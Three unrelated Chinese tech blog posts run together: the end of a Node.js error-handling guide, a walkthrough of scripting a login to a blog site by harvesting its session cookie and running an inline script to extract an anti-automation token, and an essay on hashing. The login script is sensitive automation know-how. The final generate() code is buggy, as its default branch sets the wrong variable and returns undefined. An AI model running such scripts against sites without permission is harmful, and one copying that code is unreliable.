	更复杂的情形是，函数没有用 Callback 而是返回一个 EventEmitter 对象，调用者需要监听这个对象的 error事件。这种方式在两种情况下很有用。

  





  
	当你在做一个可能会产生多个错误或多个结果的复杂操作的时候。比如，有一个请求一边从数据库取数据一边把数据发送回客户端，而不是等待所有的结果一起到达。在这个例子里，没有用 callback，而是返回了一个 EventEmitter，每个结果会触发一个row 事件，当所有结果发送完毕后会触发end事件，出现错误时会触发一个error事件。

  




用在那些具有复杂状态机的对象上，这些对象往往伴随着大量的异步事件。例如，一个套接字是一个EventEmitter，它可能会触发“connect“，”end“，”timeout“，”drain“，”close“事件。这样，很自然地可以把”error“作为另外一种可以被触发的事件。在这种情况下，清楚知道”error“还有其它事件何时被触发很重要，同时被触发的还有什么事件（例如”close“），触发的顺序，还有套接字是否在结束的时候处于关闭状态。


在大多数情况下，我们会把 callback 和 event emitter 归到同一个“异步错误传递”篮子里。如果你有传递异步错误的需要，你通常只要用其中的一种而不是同时使用。


那么，什么时候用throw，什么时候用callback，什么时候又用 EventEmitter 呢？这取决于两件事：



  
	这是操作失败还是程序员的失误？

  	这个函数本身是同步的还是异步的。

  




直到目前，最常见的例子是在异步函数里发生了操作失败。在大多数情况下，你需要写一个以回调函数作为参数的函数，然后你会把异常传递给这个回调函数。这种方式工作的很好，并且被广泛使用。例子可参照 NodeJS 的fs模块。如果你的场景比上面这个还复杂，那么你可能就得换用 EventEmitter 了，不过你也还是在用异步方式传递这个错误。


其次常见的一个例子是像JSON.parse 这样的函数同步产生了一个异常。对这些函数而言，如果遇到操作失败（比如无效输入），你得用同步的方式传递它。你可以抛出（更加常见）或者返回它。


对于给定的函数，如果有一个异步传递的异常，那么所有的异常都应该被异步传递。可能有这样的情况，请求一到来你就知道它会失败，并且知道不是因为程序员的失误。可能的情形是你缓存了返回给最近请求的错误。虽然你知道请求一定失败，但是你还是应该用异步的方式传递它。


通用的准则就是 你即可以同步传递错误（抛出），也可以异步传递错误（通过传给一个回调函数或者触发EventEmitter的 error事件），但是不用同时使用。以这种方式，用户处理异常的时候可以选择用回调函数还是用try/catch，但是不需要两种都用。具体用哪一个取决于异常是怎么传递的，这点得在文档里说明清楚。


差点忘了程序员的失误。回忆一下，它们其实是Bug。在函数开头通过检查参数的类型（或是其它约束）就可以被立即发现。一个退化的例子是，某人调用了一个异步的函数，但是没有传回调函数。你应该立刻把这个错抛出，因为程序已经出错而在这个点上最好的调试的机会就是得到一个堆栈信息，如果有内核信息就更好了。


因为程序员的失误永远不应该被处理，上面提到的调用者只能用try/catch或者回调函数（或者 EventEmitter）其中一种处理异常的准则并没有因为这条意见而改变。如果你想知道更多，请见上面的 （不要）处理程序员的失误。


下表以 NodeJS 核心模块的常见函数为例，做了一个总结，大致按照每种问题出现的频率来排列：




	函数
  	类型
  	错误
  	错误类型
  	传递方式
  	调用者





	fs.stat
  	异步
  	file not found
  	操作失败
  	callback
  	handle



	JSON.parse
  	同步
  	bad user input
  	操作失败
  	throw
  	try/catch



	fs.stat
  	异步
  	null for filename
  	失误
  	throw
  	none (crash)





异步函数里出现操作错误的例子（第一行）是最常见的。在同步函数里发生操作失败（第二行）比较少见，除非是验证用户输入。程序员失误（第三行）除非是在开发环境下，否则永远都不应该出现。


吐槽：程序员失误还是操作失败？


你怎么知道是程序员的失误还是操作失败呢？很简单，你自己来定义并且记在文档里，包括允许什么类型的函数，怎样打断它的执行。如果你得到的异常不是文档里能接受的，那就是一个程序员失误。如果在文档里写明接受但是暂时处理不了的，那就是一个操作失败。


你得用你的判断力去决定你想做到多严格，但是我们会给你一定的意见。具体一些，想象有个函数叫做“connect”，它接受一个IP地址和一个回调函数作为参数，这个回调函数会在成功或者失败的时候被调用。现在假设用户传进来一个明显不是IP地址的参数，比如“bob”，这个时候你有几种选择：



  
	在文档里写清楚只接受有效的IPV4的地址，当用户传进来“bob”的时候抛出一个异常。强烈推荐这种做法。

  	在文档里写上接受任何string类型的参数。如果用户传的是“bob”，触发一个异步错误指明无法连接到“bob”这个IP地址。

  




这两种方式和我们上面提到的关于操作失败和程序员失误的指导原则是一致的。你决定了这样的输入算是程序员的失误还是操作失败。通常，用户输入的校验是很松的，为了证明这点，可以看Date.parse这个例子，它接受很多类型的输入。但是对于大多数其它函数，我们强烈建议你偏向更严格而不是更松。你的程序越是猜测用户的本意（使用隐式的转换，无论是JavaScript语言本身这么做还是有意为之），就越是容易猜错。本意是想让开发者在使用的时候不用更加具体，结果却耗费了人家好几个小时在Debug上。再说了，如果你觉得这是个好主意，你也可以在未来的版本里让函数不那么严格，但是如果你发现由于猜测用户的意图导致了很多恼人的bug，要修复它的时候想保持兼容性就不大可能了。


所以如果一个值怎么都不可能是有效的（本该是string却得到一个undefined，本该是string类型的IP但明显不是），你应该在文档里写明是这不允许的并且立刻抛出一个异常。只要你在文档里写的清清楚楚，那这就是一个程序员的失误而不是操作失败。立即抛出可以把Bug带来的损失降到最小，并且保存了开发者可以用来调试这个问题的信息（例如，调用堆栈，如果用内核文件还可以得到参数和内存分布）。


那么 domains 和 process.on('uncaughtException') 呢？


操作失败总是可以被显示的机制所处理的：捕获一个异常，在回调里处理错误，或者处理EventEmitter的“error”事件等等。Domains以及进程级别的‘uncaughtException’主要是用来从未料到的程序错误恢复的。由于上面我们所讨论的原因，这两种方式都不鼓励。


编写新函数的具体建议


我们已经谈论了很多指导原则，现在让我们具体一些。



	
你的函数做什么得很清楚。

这点非常重要。每个接口函数的文档都要很清晰的说明： - 预期参数 - 参数的类型 - 参数的额外约束（例如，必须是有效的IP地址）

如果其中有一点不正确或者缺少，那就是一个程序员的失误，你应该立刻抛出来。

此外，你还要记录：



  
	调用者可能会遇到的操作失败（以及它们的name）

  	怎么处理操作失败（例如是抛出，传给回调函数，还是被 EventEmitter 发出）

  	返回值

  





	使用 Error 对象或它的子类，并且实现 Error 的协议。

你的所有错误要么使用Error 类要么使用它的子类。你应该提供name和message属性，stack也是（注意准确）。


	在程序里通过 Error 的 name属性区分不同的错误。

当你想要知道错误是何种类型的时候，用name属性。 JavaScript内置的供你重用的名字包括“RangeError”（参数超出有效范围）和“TypeError”（参数类型错误）。而HTTP异常，通常会用RFC指定的名字，比如“BadRequestError”或者“ServiceUnavailableError”。


	不要想着给每个东西都取一个新的名字。如果你可以只用一个简单的InvalidArgumentError，就不要分成 InvalidHostnameError，InvalidIpAddressError，InvalidDnsError等等，你要做的是通过增加属性来说明那里出了问题（下面会讲到）。


	用详细的属性来增强 Error 对象。

举个例子，如果遇到无效参数，把 propertyName 设成参数的名字，把 propertyValue 设成传进来的值。如果无法连到服务器，用 remoteIp 属性指明尝试连接到的 IP。如果发生一个系统错误，在syscal 属性里设置是哪个系统调用，并把错误代码放到errno属性里。具体你可以查看附录，看有哪些样例属性可以用。

至少需要这些属性：




name：用于在程序里区分众多的错误类型（例如参数非法和连接失败）


message：一个供人类阅读的错误消息。对可能读到这条消息的人来说这应该已经足够完整。如果你从更底层的地方传递了一个错误，你应该加上一些信息来说明你在做什么。怎么包装异常请往下看。


stack：一般来讲不要随意扰乱堆栈信息。甚至不要增强它。V8引擎只有在这个属性被读取的时候才会真的去运算，以此大幅提高处理异常时候的性能。如果你读完再去增强它，结果就会多付出代价，哪怕调用者并不需要堆栈信息。


你还应该在错误信息里提供足够的消息，这样调用者不用分析你的错误就可以新建自己的错误。它们可能会本地化这个错误信息，也可能想要把大量的错误聚集到一起，再或者用不同的方式显示错误信息（比如在网页上的一个表格里，或者高亮显示用户错误输入的字段）。

6. 若果你传递一个底层的错误给调用者，考虑先包装一下。

经常会发现一个异步函数funcA调用另外一个异步函数funcB，如果funcB抛出了一个错误，希望funcA也抛出一模一样的错误。（请注意，第二部分并不总是跟在第一部分之后。有的时候funcA会重新尝试。有的时候又希望funcA忽略错误因为无事可做。但在这里，我们只讨论funcA直接返回funcB错误的情况）


在这个例子里，可以考虑包装这个错误而不是直接返回它。包装的意思是继续抛出一个包含底层信息的新的异常，并且带上当前层的上下文。用 verror 这个包可以很简单的做到这点。


举个例子，假设有一个函数叫做 fetchConfig，这个函数会到一个远程的数据库取得服务器的配置。你可能会在服务器启动的时候调用这个函数。整个流程看起来是这样的：


1.加载配置 1.1 连接数据库 1.1.1 解析数据库服务器的DNS主机名 1.1.2 建立一个到数据库服务器的TCP连接 1.1.3 向数据库服务器认证 1.2 发送DB请求 1.3 解析返回结果 1.4 加载配置 2 开始处理请求


假设在运行时出了一个问题连接不到数据库服务器。如果连接在 1.1.2 的时候因为没有到主机的路由而失败了，每个层都不加处理地都把异常向上抛出给调用者。你可能会看到这样的异常信息：



  myserver: Error: connect ECONNREFUSED




这显然没什么大用。


另一方面，如果每一层都把下一层返回的异常包装一下，你可以得到更多的信息：



  myserver: failed to start up: failed to load configuration: failed to connect to database server: failed to connect to 127.0.0.1 port 1234: connect ECONNREFUSED。




你可能会想跳过其中几层的封装来得到一条不那么充满学究气息的消息：



  myserver: failed to load configuration: connection refused from database at 127.0.0.1 port 1234.




不过话又说回来，报错的时候详细一点总比信息不够要好。


如果你决定封装一个异常了，有几件事情要考虑：



  
	保持原有的异常完整不变，保证当调用者想要直接用的时候底层的异常还可用。

  





  
	要么用原有的名字，要么显示地选择一个更有意义的名字。例如，最底层是 NodeJS 报的一个简单的Error，但在步骤1中可以是个 IntializationError 。（但是如果程序可以通过其它的属性区分，不要觉得有责任取一个新的名字）

  





  
	保留原错误的所有属性。在合适的情况下增强message属性（但是不要在原始的异常上修改）。浅拷贝其它的像是syscall，errno这类的属性。最好是直接拷贝除了 name，message和stack以外的所有属性，而不是硬编码等待拷贝的属性列表。不要理会stack，因为即使是读取它也是相对昂贵的。如果调用者想要一个合并后的堆栈，它应该遍历错误原因并打印每一个错误的堆栈。

  




在Joyent，我们使用verror     这个模块来封装错误，因为它的语法简洁。写这篇文章的时候，它还不能支持上面的所有功能，但是会被扩展以期支持。


例子


考虑有这样的一个函数，这个函数会异步地连接到一个IPv4地址的TCP端口。我们通过例子来看文档怎么写：


/*
* Make a TCP connection to the given IPv4 address.  Arguments:
*
*    ip4addr        a string representing a valid IPv4 address
*
*    tcpPort        a positive integer representing a valid TCP port
*
*    timeout        a positive integer denoting the number of milliseconds
*                   to wait for a response from the remote server before
*                   considering the connection to have failed.
*
*    callback       invoked when the connection succeeds or fails.  Upon
*                   success, callback is invoked as callback(null, socket),
*                   where `socket` is a Node net.Socket object.  Upon failure,
*                   callback is invoked as callback(err) instead.
*
* This function may fail for several reasons:
*
*    SystemError    For "connection refused" and "host unreachable" and other
*                   errors returned by the connect(2) system call.  For these
*                   errors, err.errno will be set to the actual errno symbolic
*                   name.
*
*    TimeoutError   Emitted if "timeout" milliseconds elapse without
*                   successfully completing the connection.
*
* All errors will have the conventional "remoteIp" and "remotePort" properties.
* After any error, any socket that was created will be closed.
*/
function connect(ip4addr, tcpPort, timeout, callback)
{
assert.equal(typeof (ip4addr), 'string',
    "argument 'ip4addr' must be a string");
assert.ok(net.isIPv4(ip4addr),
    "argument 'ip4addr' must be a valid IPv4 address");
assert.equal(typeof (tcpPort), 'number',
    "argument 'tcpPort' must be a number");
assert.ok(!isNaN(tcpPort) && tcpPort > 0 && tcpPort < 65536,
    "argument 'tcpPort' must be a positive integer between 1 and 65535");
assert.equal(typeof (timeout), 'number',
    "argument 'timeout' must be a number");
assert.ok(!isNaN(timeout) && timeout > 0,
    "argument 'timeout' must be a positive integer");
assert.equal(typeof (callback), 'function');

/* do work */
}



这个例子在概念上很简单，但是展示了上面我们所谈论的一些建议：



  
	参数，类型以及其它一些约束被清晰的文档化。

  





  
	这个函数对于接受的参数是非常严格的，并且会在得到错误参数的时候抛出异常（程序员的失误）。

  





  
	可能出现的操作失败集合被记录了。通过不同的”name“值可以区分不同的异常，而”errno“被用来获得系统错误的详细信息。

  





  
	异常被传递的方式也被记录了（通过失败时调用回调函数）。

  





  
	返回的错误有”remoteIp“和”remotePort“字段，这样用户就可以定义自己的错误了（比如，一个HTTP客户端的端口号是隐含的）。

  





  
	虽然很明显，但是连接失败后的状态也被清晰的记录了：所有被打开的套接字此时已经被关闭。

  




这看起来像是给一个很容易理解的函数写了超过大部分人会写的的超长注释，但大部分函数实际上没有这么容易理解。所有建议都应该被有选择的吸收，如果事情很简单，你应该自己做出判断，但是记住：用十分钟把预计发生的记录下来可能之后会为你或其他人节省数个小时。


总结



  
	学习了怎么区分操作失败，即那些可以被预测的哪怕在正确的程序里也无法避免的错误（例如，无法连接到服务器）；而程序的Bug则是程序员失误。

  





  
	操作失败可以被处理,也应当被处理。程序员的失误无法被处理或可靠地恢复（本不应该这么做），尝试这么做只会让问题更难调试。

  





  
	一个给定的函数，它处理异常的方式要么是同步（用throw方式）要么是异步的（用callback或者EventEmitter），不会两者兼具。用户可以在回调函数里处理错误，也可以使用 try/catch捕获异常 ，但是不能一起用。实际上，使用throw并且期望调用者使用 try/catch 是很罕见的，因为 NodeJS里的同步函数通常不会产生运行失败（主要的例外是类似于JSON.parse的用户输入验证函数）。

  





  
	在写新函数的时候，用文档清楚地记录函数预期的参数，包括它们的类型、是否有其它约束（例如必须是有效的IP地址），可能会发生的合理的操作失败（例如无法解析主机名，连接服务器失败，所有的服务器端错误），错误是怎么传递给调用者的（同步，用throw，还是异步，用 callback 和 EventEmitter）。

  





  
	缺少参数或者参数无效是程序员的失误，一旦发生总是应该抛出异常。函数的作者认为的可接受的参数可能会有一个灰色地带，但是如果传递的是一个文档里写明接收的参数以外的东西，那就是一个程序员失误。

  





  
	传递错误的时候用标准的 Error 类和它标准的属性。尽可能把额外的有用信息放在对应的属性里。如果有可能，用约定的属性名（如下）。

  




附录：Error 对象属性命名约定


强烈建议你在发生错误的时候用这些名字来保持和Node核心以及Node插件的一致。这些大部分不会和某个给定的异常对应，但是出现疑问的时候，你应该包含任何看起来有用的信息，即从编程上也从自定义的错误消息上。【表】。




	Property name
  	Intended use





	localHostname
  	the local DNS hostname (e.g., that you're accepting connections at)



	localIp
  	the local IP address (e.g., that you're accepting connections at)



	localPort
  	the local TCP port (e.g., that you're accepting connections at)



	remoteHostname
  	the DNS hostname of some other service (e.g., that you tried to connect to)



	remoteIp
  	the IP address of some other service (e.g., that you tried to connect to)



	remotePort
  	the port of some other service (e.g., that you tried to connect to)



	path
  	the name of a file, directory, or Unix Domain Socket (e.g., that you tried to open)



	srcpath
  	the name of a path used as a source (e.g., for a rename or copy)



	dstpath
  	the name of a path used as a destination (e.g., for a rename or copy)



	hostname
  	a DNS hostname (e.g., that you tried to resolve)



	ip
  	an IP address (e.g., that you tried to reverse-resolve)



	propertyName
  	an object property name, or an argument name (e.g., for a validation error)



	propertyValue
  	an object property value (e.g., for a validation error)



	syscall
  	the name of a system call that failed



	errno
  	the symbolic value of errno (e.g., "ENOENT"). Do not use this for errors that don't actually set the C value of errno.Use "name" to distinguish between types of errors.





脚注



	人们有的时候会这么写代码，他们想要在出现异步错误的时候调用callback 并把错误作为参数传递。他们错误地认为在自己的回调函数（传递给 doSomeAsynchronousOperation 的函数）里throw 一个异常，会被外面的catch代码块捕获。try/catch和异步函数不是这么工作的。回忆一下，异步函数的意义就在于被调用的时候myApiFunc函数已经返回了。这意味着try代码块已经退出了。这个回调函数是由Node直接调用的，外面并没有try的代码块。如果你用这个反模式，结果就是抛出异常的时候，程序崩溃了。


	在JavaScript里，抛出一个不属于Error的参数从技术上是可行的，但是应该被避免。这样的结果使获得调用堆栈没有可能，代码也无法检查name属性，或者其它任何能够说明哪里有问题的属性。


	操作失败和程序员的失误这一概念早在NodeJS之前就已经存在存在了。不严格地对应者Java里的checked和unchecked异常，虽然操作失败被认为是无法避免的，比如 OutOfMemeoryError，被归为uncheked异常。在C语言里有对应的概念，普通异常处理和使用断言。维基百科上关于断言的的文章也有关于什么时候用断言什么时候用普通的错误处理的类似的解释。


	如果这看起来非常具体，那是因为我们在产品环境中遇到这样过这样的问题。这真的很可怕。






本文作者系OneAPM 工程师王龑 ，想阅读更多好的技术文章，请访问OneAPM官方技术博客。
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工欲善其事，必先利其器。



给自己定下写文章的目标后，就去找了几家博客平台来发布文章；作为一个懒人，不能所有博客文章都手动去各家平台发布，只好通过编写脚本来发布。但是除了Github提供了比较详细的Api外，其他国内的博客平台都没有提供对应的接口，但总有办法的。

下面是我对某家博客平台模拟登录流程的记录（打死我都不会说这家平台是S开头的），个人觉得挺有意思的，也能从中学到不少产品安全设计的思路。

工具


	Babel


	Cheerio.js


	SuperAgent


	Chrome 浏览器




注：工具只是实现结果的一个手段，并不一定需要掌握这些工具，只要知道它们是干嘛的就行了。

开始分析

先进入主页找到用户登录页，如下图所示：



标准的登录框，在这边需要把Chrome的控制台打开，进入Network页，把 Preserve log （页面跳转也能记录日志，感谢 铁臂狗 告知）的选项勾中， 如下图所示：


抓包分析请求，先从输入正确密码开始：

输入正确密码



我把暴露隐私的两个地方打码了（这两块也是我们接下来要着重要分析的点）

可以从中看到请求头，我们先把这些请求头照抄下来

const base_headers = {
    Accept: '*/*',
    'Accept-Encoding':'gzip, deflate',
    'Accept-Language':'zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4,ja;q=0.2',
    'Cache-Control':'no-cache',
    Connection:'keep-alive',
    DNT:1,
    Host:'segmentfault.com',
    Origin: 'http://segmentfault.com',
    Pragma:'no-cache',
    Referer: 'http://segmentfault.com/',
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36',
    'X-Requested-With': 'XMLHttpRequest'
    }

排除法删除 Cookie

我们可以看到在请求登录的时候 Header 就已经带有 Cookie 了，这在我平常的设计中没有做过，所以我就试着把 Cookie 删后再请求，看看有什么效果。删除 Cookie 的方法如下所示：



利用排除法不停删除并继续试着登录，都能完成登录；直到删除 PHPSESSID 的时候发现删除之后再登陆是会报错的，所以这个 PHPSESSID 肯定是有用的（没用过PHP对这个不太了解），因此我断定这个 Cookie 是在后端作为验证登录的一个字段；因此我可以通过在登录之前先下载首页并拿到 Cookie，放到请求头上做作为模拟 Header。

获取 Cookie

import request from 'superagent'

let cookie;

req
.get(urls.mainpage)
.end((err, res) => {
   // 从上图可以看到我们需要的cookie是PHPSESSID开头的
    cookie = res.headers['set-cookie']
                .join(',').match(/(PHPSESSID=.+?);/)[1]
})


获取页面 token

本以为拿到 Cookie 之后就可以开开心心的做登录请求，然而这么简单的话这篇文章页也就没什么写的必要了。

继续分析请求 HTTP 包，可以发现在每次请求的时候，url 后面总是会带一个 queryString（图 2），我在这里耗费了不少时间，毫无头绪，只能追进源码里面摸索。



找到上图中的源码，可以看到这个源码是被压缩过的，不要着急，chrome 提供了 formatt 功能，点击最下面的{}，可以对压缩的代码重排，至少是勉强可以阅读的代码了。



接下来的事情就是怎么从这堆代码中抽丝剥茧找到对我们有用的信息，可是这么多的代码一步步看下来也会看到头晕脑胀，眼睛滴血。那么就试试看能不能使用查找的方式从源码中找到我需要的东西。使用快捷键 ctrl+F，键入 /login （/login是作为登录的链接的，感觉上可能会有很大概率能搜到相关代码）



很巧的是，搜到了相关的代码。从中可以看到此网站使用了 JQuery 的 Ajax 发送相关 HTTP 请求，那么，url 便是 e.attr("action")，从下面的 DOM 结构能看到 action 是api/user/login。 



还是没有找到 queryString, 那就换个关键词试试看，这次搜索 _=（看图2，queryString 是由_=拼接起来的）



从上图可以看到有7个结果，而被黄色标注出来的那行才是我们想要的。JQ 的 ajaxSend 可以在 Ajax 发送之前做一些处理。从上图可以看出，请求的时候在 url 的后面增加一个 n._ ，那就继续去找n._是什么？由于截图截少了，我就不再重新截图，从上图的第一行可以看到 _ 是window.SF.token，由此我们就摸到 token 的 G 点，整个流程明朗了许多。接下来全局搜索 window.SF.token，没找到。我知道 window 是全局变量，为什么把 token 放到 window 上？可以想多的是 token 并没有在当前的 script 标签内。接下来去 index.html 内查找：



找到了！可以看到 token 是被包裹在一个独立的 script 标签内，在后端生成HTML模板的时候就已经插入。

找到 token 之后就很简单了，拿到这个字符串表达式，运行，拿到token。
原理我之前写过一篇文章，移步

import cheerio from 'cheerio'
import request from 'superagent'

let cookie;


// 为什么这样做
function getToken(s) {
  let $ = cheerio.load(s)
  , text = $('body script').eq(2).text()
  , fn = new Function('window', text + ';return window.SF.token')
  , token = fn({})

  $ = null
  return token
}


req
.get(urls.mainpage)
.end((err, res) => {
   let token = getToken(res.text)
   
   // 从上图可以看到我们需要的cookie是PHPSESSID开头的
    cookie = res.headers['set-cookie']
                    .join(',')
                    .match(/(PHPSESSID=.+?);/)[1]
})


开始登录吧

拿到 token 和 Cookie ，抓包分析所需要的登录字段:

{
    mail: 'xxxxx@xx.xx', // 邮箱
    password: 'xxxxxxx', // 密码
    remember: '1'  // 是否记住登录
}

登录:

req
.get(urls.mainpage)
.end((err, res) => {
   let token = getToken(res.text)
   
   // 从上图可以看到我们需要的cookie是PHPSESSID开头的
    cookie = res.headers['set-cookie'].join(',')
                .match(/(PHPSESSID=.+?);/)[1]
    
    req
   .post(urls.login)
   .query({'_': token})
   .set(base_headers)
   .set('Cookie', cookie)
   .type('form')
   .send(conf)
   .redirects(0)
   .end((err, res) => {
        console.log(res)
    })
  })
})


总结

世上无难事只怕有心人



登录是最基础也最核心的功能，通过对登录流程的分析，基本弄清楚了此博客平台的验证机制，在分析的过程中斗智斗勇，利用自己掌握的知识一步一步破解谜题的本身就是一件很有意思的事情，以后也可以将此方法用到自己的登录流程设计中。

TODO

登录之后能施展的手段就很多了: 提问题，发表文章，创建标签等等，用到得知识都在上面说过了，按下不表。

有需要源码的同学，欢迎 Star


 我为什么要使用哈希

作者：XadillaX

来源： 我为什么要使用哈希



                    
什么是哈希（Hash）

本来这里不应该出现这一节的，因为实际上大家应该都知道什么是哈希。不过有时候为了文章的完整性，我这里就稍微教条性地说明一下吧。ヽ(́◕◞౪◟◕‵)ﾉ


散列（英语：Hashing），通常音译作哈希，是电脑科学中一种对资料的处理方法，通过某种特定的函数、算法将要检索的项与用来检索的索引关联起来，生成一种便于搜索的数据结构。也译为散列。



-- From 散列, Wikipedia



实际上通俗的说法就是把某种状态或者资料给映射到某个值上的操作。

本酱大概就解释到这里了，至于哈希的进一步认知包括冲突的产生和解决等，如果米娜桑不了解的话还请自行学习咕。థ౪థ

引子——子树问题

这个不是我在实践中遇到的问题，而是当年去某不作恶的大厂面试时候遇到的问题，觉得比较经典，所以就拿出来了。ᕙ༼ຈل͜ຈ༽ᕗ

问题描述

给定一棵二叉树，假设每个节点的数据只有左右子节点，自身并不存储数据。请找出两两完全相等的子树们。

有兴趣的童鞋可以自己先思考一下。₍₍◝(･'ω'･)◟⁾⁾



我的做法

实际上我也不知道自己的做法是不是正确做法，不过既然通过了那一轮面试，想来也不会偏差到哪去喵。ლ（╹ε╹ლ）

做法大概如下：


	后序遍历一遍整棵树。


	对于遍历到每一个节点，都获取到左右子节点的哈希值，然后将其拼接重新计算出自身的哈希值，并返回给父亲节点。




至于哈希值怎么算，方法有很多。最简单的就是设叶子节点一个哈希值，比如是 md5("")，然后每次非叶子节点的哈希值就用 md5(LEFT_HASH + RIGHT_HASH) 来计算。大家也可以自己随便想一种方法来做就好了。

很多人可能不解了，明明是用 md5，这篇文章是讲哈希，有毛线关系。(╯°O°)╯┻━┻

实际上 md5 就是一种哈希算法，而且是非常经典的哈希算法。

典型的哈希算法包括 MD2、MD4、MD5 和 SHA-1 等。当然不局限于这些，对于数字来说，取模也算是哈希算法，对于字符串状态转整数状态哈希来说还有诸如 BKDR、ELF 等等。



如果大家想多了解一些字符串转数字哈希的算法，可以参考一下 BYVoid 的这篇《各种字符串Hash函数比较》，或者想直接在 Node.js 里面使用的小伙伴们可以光顾下这个包——bling-hashes。

初步的轮廓已经明晰了，说白了就是将每个节点的哈希全算出来，如果是父亲节点就用子节点的哈希拼接起来再哈希一遍。σ`∀´)σ

把这些哈希算出来之后放在一个散列表里面待查。如果一个算出来的哈希跟之前已有的哈希值相等，那么就是说这个节点跟那个节点为根节点的子树有可能完全相等。


注意：有可能完全相等。

注意：只是有可能完全相等。

注意：重要的事情说三遍，只是有可能完全相等。



哈希是存在着一定的冲突概率的，所以说两个相等的哈希所检索到的源不一定一样，所以我们根据这些计算到的哈希建立哈希表，然后把表中同哈希值的子树再两两同时遍历一遍以检验是否相等。


	同时递归，取两个子树的根节点。


	后序遍历，看看每个节点是不是都一样存在（或者不存在）左子节点以及存在（或者不存在）右子节点。


	循环往复一直到两两遍历完整棵树得到验证结果。如果半路有一个节点的左右子节点状态不一样就可以直接跳出递归返回 false。




至此为止，我们可以看出大概是两大步——计算各子树的哈希值和验证各同哈希子树的相等性。不过稍微变通一下，我们就可以在计算出哈希值的时候就去跟以前的对比了。

剪枝

实际上上面的做法还有一个优化的方案，不过跟哈希相关性已经基本上很小了。不过还是跟解决冲突有一丢丢的关系的，没兴趣的童鞋也可以直接跳过了。(๑•́ ₃ •̀๑)

由于子树哈希值是存在一定的冲突概率的，所以两个同哈希的子树不一定相同。那么我们如果能一眼看出这样的两棵子树是不相等的，就可以省略验证这一个递归的步骤了。

这里有一种最显而易见的情况我们是可以忽略省略步骤的，那就是深度。

如果两棵子树两两完全相等，那么说明这俩基佬的深度（或者说高度）是一样的，如果连深度都不一样了还如何愉快搞基——所以说如果有两个相等哈希值的子树的深度不一样的话可以直接略过验证步骤了。

那么就可以这么做：


	设所有叶子节点的深度为 0，然后每往上一层加一。


	遇到左右子节点深度不一样的父节点时，取深度大的那个子节点深度去加一。




以上步骤在遍历计算哈希的时候顺便也做了，这样就多了一个验证标记了。

所以差不多就这样了，浅尝辄止。( ˘･з･)

引子的小结

就上述的场景来说，哈希非常好地将一个非常复杂的状态转化成一个可以检索的状态。本来毫无头绪的一个问题使用了哈希之后就完全变成了一个检索加验证的过程了。

报告图问题

这个问题就是我在大搜车中确实遇到的场景了。大家也不需要知道什么是报告图，就当它是一个代号了。

问题描述

要做的事情大概就是说给定一个报告，我们根据报告的各个细节选定各种图层然后揉成一团叠加在一起形成最后一个结果图。



其实本来就有个系统在做这件事情的——每来一个报告就生成一张图，然后存储好之后给前端使用。

我做的事情是将逻辑迁移到另一套计算密集型任务集中处理系统中去。(´艸`)

其实生成这样一张图片的逻辑是 CPU 计算密集型的逻辑，所以比较耗费资源和时间的，那么我们就能在这上面做点手脚优化一下。

优化方法

首先我们要知道的是，有哪些图层是固定的，所以其实这算半个排列组合的问题了。

不过我们也知道排列组合的增长性非常快，更何况我这里有约 100 个图层选择，所以可能性非常多，一下子全生成好不可能。

那么就可以用哈希和懒惰的思想来实现了。(ˇωˇ人)

虽然报告是有无限种可能的，但是把报告转成图层数据之后，拥有完全一样的图层数据的报告就可以用同一张图片了，这样就可以大大节省空间和时间了。

其实大概的步骤非常简单：


	把图层数据计算成哈希。（比如把所有图层文件路径用某种符号拼接，再用 md5 计算一下）


	
去数据库查找这个哈希主键存不存在。


	
如果存在则验证源图层数据域当前图层数据是否吻合。


	如果不吻合则按某种算法重新计算哈希，继续步骤 2。


	如果吻合则可以直接拿着这个数据返回了，跳出计算。






	如果不存在就说明当前数据库还没有这个图层情况的报告图生成，那么就执行生成报告图逻辑。






	
报告图生成之后，将其存入数据库中。

	
计算出这个报告图图层数据的哈希，去数据库查存不存在。


	如果不存在则说明哈希不冲突，能用，直接用这个哈希存进去。


	如果存在则说明哈希冲突，那么按某种算法重新计算哈希，继续上面的步骤直到不冲突为止。












如果大家想知道“按某种算法重新生成哈希”里面“某种算法”的话可以看看下面的瞎狗眼的说明了。(ﾉ◕ヮ◕)ﾉ*:･ﾟ✧


其实很简单，把图层数据的这个字符串加某个固定字符当小尾巴，如果哈希还是冲突则继续加这个小尾巴，直到计算出来的哈希不冲突为止。

比如我就用了这字符当小尾巴——🀣（麻将牌中的蘭）。(♛‿♛)



报告图的小结

在这种场景中，我把哈希拿来作检索某种报告图是否已经生成的用途。如果没有生成则生成一张，如果已经生成则直接拿已有的报告图去用。

至少比原来的来一张报告就生成一张图片来得快，并且省空间——相当于作冗余处理了。

事实上在很多的网盘系统中也有作冗余处理的。你以为你有多少多少 T 的空间，实际上相同的文件最终在网盘系统里面只存一份（不过排除备份的那些），而我相信做这些冗余判断的原理就是哈希了，SHA-1 也好 MD5 也好，反正就是这样。

上面网盘的冗余处理原理也只是我的猜测，我没在那些厂子里面工作过所以不能说就是就是这样子的。欢迎指正。｡ﾟヽ(ﾟ´Д`)ﾉﾟ｡



唯一主键问题

这是我来这边工作后的另一个小插曲了，遇到一个主键生成的小需求。

问题描述

有一个数据要插入到数据库，所以要给它生成一个主键，但是需求比较奇葩，可能是历史遗留问题吧。(눈‸눈)


	非自增。


	是一个全是数字的字符串。


	不同类型的这个表的数据用不同的前缀，比如 10、11、12 等。


	位数在十几位左右（不过在我这里就固定了）。




解决方案

如果是 前缀 + 随机数 的冲突概率会比较大的，所以还是用哈希来搞。

非常简单。首先前缀是固定的，我们就不管了，然后我根据这次进来的数据拼接成字符串（数据不会完全一样的），加上一点随机盐，然后用字符串哈希计算一遍，加上前导零，加上当前时间戳的后几位拼接起来，最后接上前缀就好了。

这个 generate 函数看起来就像这样子：

var bling = require("bling-hashes");
function generate(type, bodyParamStr) {
    var basePrefix;
    switch(type) {
        case 'foo': basePrefix = '10'; break;
        case 'bar': basePrefix = '11'; break;
        default: base_prefix = '00';
    }

    var date = moment();
    var hash = bling.bkdr(bodyParamStr + date.valueOf()).pad(10);
    hash = date.millisecond().pad(3) + hash;

    return basePrefix + hash;
};

